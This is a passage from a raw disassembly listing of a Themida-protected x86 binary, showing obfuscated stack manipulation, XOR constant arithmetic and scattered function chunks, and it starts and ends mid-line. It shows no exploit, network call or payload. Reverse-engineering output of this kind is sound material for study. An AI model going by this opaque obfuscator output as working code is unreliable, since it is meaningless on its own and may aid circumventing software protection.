esi, 2FD70D95h xor esi, 2FD70D97h mov ebx, esi jmp loc_58644C sub_58E761 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E779: ; CODE XREF: sub_585452+587Ej pop ebp pop [esp+0Eh+var_10+2] jmp loc_588106 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585019 loc_58E782: ; CODE XREF: sub_585019+5D32j or eax, eax jz loc_587C9E push dword ptr [edi+1Ch] jmp loc_586281 ; END OF FUNCTION CHUNK FOR sub_585019 ; --------------------------------------------------------------------------- loc_58E792: ; CODE XREF: Themida_:00584A5Ej sub al, bl jmp loc_588E9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E799: ; CODE XREF: sub_585452+21C0j push 31D9h mov [esp+0Ah+var_C+2], ebx push [esp+0Ah+var_C+2] pop eax push ebp mov ebp, esp add ebp, 4 push 735Ch mov [esp+12h+var_14+2], edx mov edx, 6FC22B8Ch inc edx xor edx, 32E75B41h jmp loc_586DFA ; --------------------------------------------------------------------------- loc_58E7C7: ; CODE XREF: sub_585452+14DEj mov [esp+46h+var_48+2], ebp push 7517h mov [esp+4Ah+var_4C+2], esp add [esp+4Ah+var_4C+2], 4 jmp loc_58FCAE ; --------------------------------------------------------------------------- loc_58E7DE: ; CODE XREF: sub_585452+5BDj pop esp mov word ptr [esp+4Eh+var_50+2], cx jmp loc_586A54 ; --------------------------------------------------------------------------- loc_58E7E8: ; CODE XREF: sub_585452-91Fj push dword ptr [esp+0] pop eax add esp, 4 jmp loc_589D8F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58E7F4: ; CODE XREF: sub_589967-F9Ej pop ebp add ebp, 4 push esi mov esi, 4 add ebp, esi jmp loc_58664B ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58E808: ; CODE XREF: sub_58AB18+218Dj pop esi push ecx mov ecx, 58B95684h xor ecx, 22AD0D04h add edi, ecx pop ecx sub edi, 41700BC5h sub edi, esi jmp loc_58CB99 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- loc_58E825: ; CODE XREF: Themida_:00589CB2j push dword ptr [esp] push dword ptr [esp] jmp loc_5888C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58E830: ; CODE XREF: sub_589967+5567j pop esp jmp loc_58817C ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_58E836: ; CODE XREF: sub_58960C-5727j pop esi add ebx, eax push esi mov esi, 335C6A95h xor esi, 3E9C5395h add ebx, 2A497914h sub ebx, esi sub ebx, 2A497914h pop esi jmp loc_589261 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_58E859: ; CODE XREF: Themida_:0058995Bj pop edi xchg edi, ebx jmp loc_584BAD ; --------------------------------------------------------------------------- loc_58E861: ; CODE XREF: Themida_:0058E979j mov ebx, 5FE51DDAh mov edi, ebx pop ebx jmp loc_58F304 ; --------------------------------------------------------------------------- loc_58E86E: ; CODE XREF: Themida_:0058D3A7j add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_58F549 ; --------------------------------------------------------------------------- loc_58E87B: ; CODE XREF: Themida_:00585EE5j xor ecx, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_587D77 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi mov edi, esp push ebp mov ebp, 18A54DE4h not ebp push eax mov eax, 7AD576BFh shr eax, 5 add eax, 432B5F10h sub ebp, eax push dword ptr [esp] jmp loc_588DE2 ; --------------------------------------------------------------------------- loc_58E8B9: ; CODE XREF: Themida_:0058E740j add eax, ebx pop ebx push 487Dh mov [esp], edx jmp loc_586573 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E8C9: ; CODE XREF: sub_585452+578j add [esp+52h+var_54+2], 4 push [esp+52h+var_54+2] pop ecx add esp, 4 add ecx, 4 push eax mov eax, 2 add ecx, eax pop eax xor ecx, [esp+4Eh+var_50+2] xor [esp+4Eh+var_50+2], ecx xor ecx, [esp+4Eh+var_50+2] mov esp, [esp+4Eh+var_50+2] jmp loc_58D786 ; --------------------------------------------------------------------------- loc_58E8F7: ; CODE XREF: sub_585452+6B90j add esp, 4 jmp loc_584CB3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E8FF: ; CODE XREF: Themida_:00588B6Fj mov ebp, 4 jmp loc_58596F ; --------------------------------------------------------------------------- loc_58E909: ; CODE XREF: Themida_:0058AB43j pop ebx sub esp, 4 jmp loc_588A91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58E912: ; CODE XREF: sub_58FA66-5D2Bj xor eax, ebp jmp loc_589151 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E919: ; CODE XREF: sub_585452+227Bj push 6DDh mov [esp-0Ch+arg_8], ebp mov ebp, esp jmp loc_58BE27 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E928: ; CODE XREF: Themida_:0058D5D3j add [esp], eax pushf jmp loc_587444 ; =============== S U B R O U T I N E ======================================= sub_58E931 proc near ; CODE XREF: sub_585452+53E2j ; sub_585452+A882j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00583CC6 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00584633 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005846F5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00584F38 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00585107 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00588FBA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058A53A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058CC2E SIZE 00000009 BYTES push ebx push edx mov edx, 56E060Ah jmp loc_58A53A sub_58E931 endp ; --------------------------------------------------------------------------- loc_58E93D: ; CODE XREF: Themida_:0058943Cj push ecx mov ecx, 22705FC7h mov ebx, 0C7508F00h xor ebx, ecx pop ecx mov ebp, ebx mov ebx, [esp] add esp, 4 add ebp, eax jmp loc_58E481 ; --------------------------------------------------------------------------- loc_58E95A: ; CODE XREF: Themida_:0058967Cj xchg edi, [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp push 49C6h jmp loc_58C32B ; --------------------------------------------------------------------------- loc_58E977: ; CODE XREF: Themida_:0058DE0Dj push edi push ebx jmp loc_58E861 ; --------------------------------------------------------------------------- loc_58E97E: ; CODE XREF: Themida_:005873E0j add ecx, ebp pop ebp sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_58F247 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_58E9A3: ; CODE XREF: sub_58960C+485Bj neg esi or esi, 33BF54ECh sub esi, 2B8A1FBFh xor eax, esi pop esi push 3B0Eh mov [esp+0], ecx mov ecx, 502059FEh push edx jmp loc_587A59 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_58E9C7: ; CODE XREF: Themida_:00586F11j add esp, 4 jmp loc_584DEC ; --------------------------------------------------------------------------- loc_58E9D2: ; CODE XREF: Themida_:005847FDj push ecx jmp loc_589BA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58E9D8: ; CODE XREF: sub_58EFBD-2FF0j shr edx, 1 cmp eax, edx jz loc_589F94 push ebp push edx mov edx, 15122A2Dh shl edx, 2 sub edx, 45CF282Eh xor edx, 511E97D0h mov ebp, edx push dword ptr [esp+0] pop edx jmp loc_58DF05 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58EA03: ; CODE XREF: Themida_:00589A46j pop ecx xchg ebx, [esp] pop esp jmp loc_584BBB ; --------------------------------------------------------------------------- loc_58EA0D: ; CODE XREF: Themida_:0058C730j sub edi, edx pop edx neg edi dec edi not edi inc edi or edi, 0A3E5C7Ch sub edi, 0A07AC2A6h dec edi add edi, 58B8590Eh xor edi, 28595C65h jmp loc_58CD59 ; =============== S U B R O U T I N E ======================================= sub_58EA34 proc near ; CODE XREF: sub_585452+1F8j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00586188 SIZE 00000091 BYTES ; FUNCTION CHUNK AT 005896DD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058A925 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B8C6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058C29A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CFC1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058E009 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058FDB9 SIZE 00000005 BYTES push ebx sub esp, 4 mov [esp+8+var_8], esp jmp loc_58B8C6 sub_58EA34 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58EA40: ; CODE XREF: sub_58999B+4589j movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp+0] mov eax, [esp+0] push ecx mov ecx, esp jmp loc_5886AA ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EA54: ; CODE XREF: sub_585452+3EBAj mov [esp+0Eh+var_10+2], eax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58EA5C: ; CODE XREF: Themida_:005865B8j pop edx jmp loc_58AC27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EA62: ; CODE XREF: sub_585452+40Ej mov eax, 41E64AD5h xor eax, 41E64AD1h add ebp, 3FF320CEh add ebp, eax sub ebp, 3FF320CEh pop eax add ebp, 4 jmp loc_585658 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58EA83: ; CODE XREF: Themida_:00583DCCj pop ecx add ebp, 8DDDA8A6h add eax, ebp mov ebp, [esp] push edx mov edx, esp add edx, 4 jmp loc_58CCDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_58EA9D: ; CODE XREF: sub_58E761-7D4j add esp, 4 add esi, 4 push ebx jmp loc_58A9F6 ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EAAF: ; CODE XREF: sub_585452+5945j shl ah, 3 xor ah, 52h sub dh, ah pop eax shl dh, 6 sub dh, 8Eh add dh, 1 add dh, 48h add bl, 79h add bl, dh sub bl, 79h pop edx pop eax jmp loc_5877B0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58EAD3: ; CODE XREF: Themida_:00588326j xchg ebx, [esp] mov esp, [esp] add esp, 4 push dword ptr [esp] jmp loc_58F996 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D28B loc_58EAE4: ; CODE XREF: sub_58D28B-8F4Ej mov esp, [esp-8+arg_4] push edi sub esp, 4 mov [esp+0], esp jmp loc_58A395 ; END OF FUNCTION CHUNK FOR sub_58D28B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EAF6: ; CODE XREF: sub_585452+4510j pop eax mov ch, 65h add ch, dh mov edx, [esp+0Eh+var_10+2] add esp, 4 shl ch, 5 neg ch dec ch add ch, 27h jmp loc_584641 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58EB10: ; CODE XREF: Themida_:0058C4ACj push esp pop edx add edx, 4 jmp loc_58B43F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EB1D: ; CODE XREF: sub_585452+A501j and edx, 0C9979AEh push ebp mov ebp, 3FAD08EEh sub ebp, 3AED19A5h jmp loc_58CBE6 ; --------------------------------------------------------------------------- loc_58EB34: ; CODE XREF: sub_585452+A8D8j add esp, 4 xor ebx, eax jmp loc_584F41 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58EB41: ; CODE XREF: sub_58EFBD-3660j sub ebx, 435A3D4Bh add ebx, edi push ebp mov ebp, 167A71E6h and ebp, 3B303367h add ebp, 312A0BE5h add ebx, ebp pop ebp jmp loc_58F0B4 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58EB63: ; CODE XREF: Themida_:0058F7EEj sub [esp], bp pop bp add bp, 0D9Fh inc bp add bp, 0B93Fh add ax, bp push dword ptr [esp] pop ebp add esp, 4 push ebp jmp loc_58E601 ; --------------------------------------------------------------------------- loc_58EB88: ; CODE XREF: Themida_:0058C9B3j add esi, 4 jmp loc_58D6D3 ; --------------------------------------------------------------------------- loc_58EB93: ; CODE XREF: Themida_:00584865j pop esp movzx ecx, ax push 285h mov [esp], ecx jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58EBA4: ; CODE XREF: Themida_:0058987Bj mov dx, [esp] add esp, 2 sub al, bl sub esp, 4 mov [esp], ebx jmp loc_58790A ; --------------------------------------------------------------------------- loc_58EBBE: ; CODE XREF: Themida_:00587CD3j push 15BB150Ch pop ecx inc ecx shl ecx, 7 add ecx, 70728BD1h mov edi, ecx mov ecx, [esp] add esp, 4 add edi, 0B32FFE16h sub eax, edi pop edi push ecx jmp loc_5880C8 ; --------------------------------------------------------------------------- loc_58EBE8: ; CODE XREF: Themida_:005875BDj sub esi, 65EDFFF6h jmp loc_589750 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push 3430h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 push esi mov esi, 2 jmp loc_58952F ; --------------------------------------------------------------------------- loc_58EC1E: ; CODE XREF: Themida_:0058AD6Dj inc cx jmp loc_58789F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EC25: ; CODE XREF: sub_585452+4D6j shr ebp, 6 push edi mov edi, 0A701F9h jmp loc_58D94C ; --------------------------------------------------------------------------- loc_58EC33: ; CODE XREF: sub_585452+67F7j pop edi mov eax, 36123AE9h add eax, edi jmp loc_587FB1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_586ED2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EC48: ; CODE XREF: sub_585452+8000j pop ebp push edi mov edi, esi mov ecx, edi jmp loc_5849ED ; --------------------------------------------------------------------------- loc_58EC53: ; CODE XREF: sub_585452+53Fj pop ebp add eax, 4 jmp loc_58CFE1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58EC5C: ; CODE XREF: Themida_:0058AC0Fj shr eax, 7 or eax, 6BE04427h sub eax, 6BF9467Bh add esi, 54F458BDh sub esi, eax sub esi, 54F458BDh pop eax xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 1Ch sub ebx, 6C013BABh sub ebx, 469C3E33h add ebx, edi push eax mov eax, 469C3E33h add ebx, eax pop eax add ebx, 6C013BABh mov eax, [ebx] push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push edx push eax mov eax, 1 push eax sub dword ptr [esp], 280D07C2h mov edx, [esp] add esp, 4 add edx, 280D07C2h push dword ptr [esp] pop eax add esp, 4 and eax, edx jmp loc_586BCB ; --------------------------------------------------------------------------- loc_58ECDB: ; CODE XREF: Themida_:0058D43Fj push ebx push eax jmp loc_58DBD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B758 loc_58ECE2: ; CODE XREF: sub_58B758-48DDj push edi jmp loc_587034 ; END OF FUNCTION CHUNK FOR sub_58B758 ; --------------------------------------------------------------------------- loc_58ECE8: ; CODE XREF: Themida_:0058C839j mov edx, ecx pop ecx mov ebp, 6FFFF2ABh xor ebp, edx mov edx, [esp] push edi mov edi, esp add edi, 4 jmp loc_58DD06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CABE loc_58ED03: ; CODE XREF: sub_58CABE+CA6j mov eax, [esp+0] add esp, 4 neg edi xor edi, 4ADA14B1h xor edi, 0A4D4E09Fh xor eax, edi pop edi jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58CABE ; --------------------------------------------------------------------------- loc_58ED1F: ; CODE XREF: Themida_:0058BDDEj mov esi, [esp] add esp, 4 push ebx mov ebx, 4 add edx, 1CB34B1Eh add edx, ebx sub edx, 1CB34B1Eh pop ebx xchg edx, [esp] jmp loc_589814 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58ED45: ; CODE XREF: sub_58C230-C81j add [esp+4], esi pop esi push dword ptr [esp+0] mov esi, [esp-0Ch+arg_8] add esp, 4 add esp, 4 push ecx push 31D5h mov [esp-0Ch+arg_8], ebx jmp loc_5898BE ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_58ED64: ; CODE XREF: Themida_:005897B2j xor [esp], edx xor edx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_58D7E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58ED76: ; CODE XREF: sub_585452+511Aj add bl, al sub bl, 0DFh sub bl, 4Ch movzx eax, al mov dx, word ptr [esp-18h+arg_12+2] push 0ACCh jmp loc_58BDB0 ; --------------------------------------------------------------------------- loc_58ED8F: ; CODE XREF: sub_585452+7AABj add bl, al add bl, 0B0h pop eax sub bl, 1Ch push esi mov esi, esp add esi, 4 push 61ACh mov [esp+0], edi jmp loc_589C1F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_58EDAE: ; CODE XREF: sub_58CA39-416j xchg edi, [esp+0] pop esp mov [esp-4+arg_0], edi mov edi, esp jmp loc_58F123 ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- loc_58EDBC: ; CODE XREF: Themida_:0058B89Fj mov dh, ch jmp loc_58E367 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EDC3: ; CODE XREF: sub_585452+A328j mov edx, [esp+0] add esp, 4 jmp loc_58BF06 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58EDD1 proc near ; CODE XREF: sub_585452+8939j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058C8AE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058DFA7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FA38 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FD2F SIZE 00000016 BYTES push ebx mov bl, 49h or bl, 94h shl bl, 7 jmp loc_58FA38 sub_58EDD1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ax, [esp] push ebx mov ebx, esp push edi mov edi, 4 push edx mov edx, 22A50B32h or edx, 43A03051h xor edx, 2D447A63h sub edx, 6C110E79h jmp loc_585E67 ; --------------------------------------------------------------------------- loc_58EE09: ; CODE XREF: Themida_:0058D24Cj xor edi, 77FFFB85h add ebx, 3FD13E00h add ebx, edi sub ebx, 3FD13E00h pop edi jmp loc_588A45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EE23: ; CODE XREF: sub_585452-1411j xchg ecx, [esp+0Ch+var_C] pop esp push esi mov esi, 186377F7h jmp loc_5853A1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58EE32: ; CODE XREF: Themida_:00589D43j add ebx, 2DB3E3E1h sub eax, ebx pop ebx push ebp mov ebp, 13031492h push ecx mov ecx, 0CEE40941h sub ebp, ecx pop ecx add eax, 1C1B205Ch add eax, ebp push edi mov edi, 1C1B205Ch sub eax, edi pop edi pop ebp jmp loc_58B17C ; --------------------------------------------------------------------------- loc_58EE60: ; CODE XREF: Themida_:0058945Bj shl ebx, 3 jmp loc_58C3B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EE68: ; CODE XREF: sub_585452+8382j mov [esp+6+var_8+2], ebx sub esp, 4 mov [esp+0Ah+var_C+2], ecx mov ecx, 74E4ED7h add ecx, 0FFFFFFFFh jmp loc_58CD88 ; --------------------------------------------------------------------------- loc_58EE84: ; CODE XREF: sub_585452+48F8j push edi not [esp+12h+var_14+2] jmp loc_5877A8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58EE8D: ; CODE XREF: sub_58999B-4B1Ej mov dh, 0FEh add dh, 2Fh jmp loc_587A13 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_58EE97: ; CODE XREF: Themida_:0058F8D1j sub eax, 210C638Bh add eax, esi push edi push esi mov esi, 6C30634Fh dec esi jmp loc_589EB2 ; --------------------------------------------------------------------------- loc_58EEAB: ; CODE XREF: Themida_:0058B714j not edi xor edi, 76A68EEh mov ebp, edi jmp loc_5898C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EEBA: ; CODE XREF: sub_585452+2602j pop esp shr word ptr [esp+0], cl pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58EEC5: ; CODE XREF: sub_589967+4182j add eax, 2BFC0E3Dh pop esi xchg eax, [esp+0] jmp loc_58E830 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_58EED3: ; CODE XREF: Themida_:0058A101j sub ebp, eax sub ebp, 64780510h sub ebp, 620520DEh pop eax xchg ebp, [esp] jmp loc_58BB71 ; --------------------------------------------------------------------------- loc_58EEEA: ; CODE XREF: Themida_:00588EF7j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_587EDB ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp], esi push esp pop esi jmp loc_58916C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EF15: ; CODE XREF: sub_585452+7BEj push edx mov edx, esp add edx, 4 push esi mov esi, 4 add edx, esi pop esi xchg edx, [esp-4+arg_0] pop esp xchg ebx, [esp-8+arg_4] pop esp jmp loc_58A800 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58EF34: ; CODE XREF: Themida_:0058D076j push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58485E ; --------------------------------------------------------------------------- push ebx jmp loc_58C90D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58EF52: ; CODE XREF: sub_589967-3298j or edx, eax shl edx, 1 push ecx jmp loc_58EF6D ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_58EF5C: ; CODE XREF: Themida_:0058BC37j push ebx push esi mov esi, 6B921ABEh push 6B921ABAh jmp loc_5844EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58EF6D: ; CODE XREF: sub_589967+55F0j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp+0], ebp push edx mov edx, 59BE0CFFh push edi jmp loc_584A8E ; END OF FUNCTION CHUNK FOR sub_589967 ; =============== S U B R O U T I N E ======================================= sub_58EF8B proc near ; CODE XREF: sub_585452-43Ej var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx push ecx mov cl, ah mov dh, cl jmp loc_58561E sub_58EF8B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58EF9E: ; CODE XREF: sub_585452+6597j sub eax, 3F2829A0h xor eax, 6DB224ABh neg eax or eax, 4EF06566h jmp loc_58CE4D ; --------------------------------------------------------------------------- loc_58EFB4: ; CODE XREF: sub_585452+41F9j push [esp+arg_0] pop edi pop dword ptr [esp+0] pop esp ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58EFBD proc near ; CODE XREF: sub_58E234-444Aj ; sub_585452+7EAEj var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00583FFB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00584568 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00584882 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00584B38 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00584B9A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00584F0C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00584F49 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005864D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005868AB SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00586F22 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00587145 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058729A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005874D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058757A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00587828 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0058788A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00587F43 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005881BC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005881E0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005882AD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00588311 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005884FB SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005885A2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00588771 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058881C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058886D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005888A9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00588B7A SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00588F1B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00589441 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005895BC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00589745 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00589F8D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058A280 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058A382 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058A758 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058A89C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058AF1F SIZE 00000053 BYTES ; FUNCTION CHUNK AT 0058B260 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058B94E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058BC80 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058BD3B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058BF3C SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0058BFAC SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058C365 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058C5D1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C805 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058CBDC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058CC00 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058CE7C SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058CFA6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058DB71 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058DC47 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058DD90 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DF05 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DFF0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058E43A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058E589 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058E9D8 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058EB41 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058F054 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F0B4 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0058F6CF SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0058F71E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 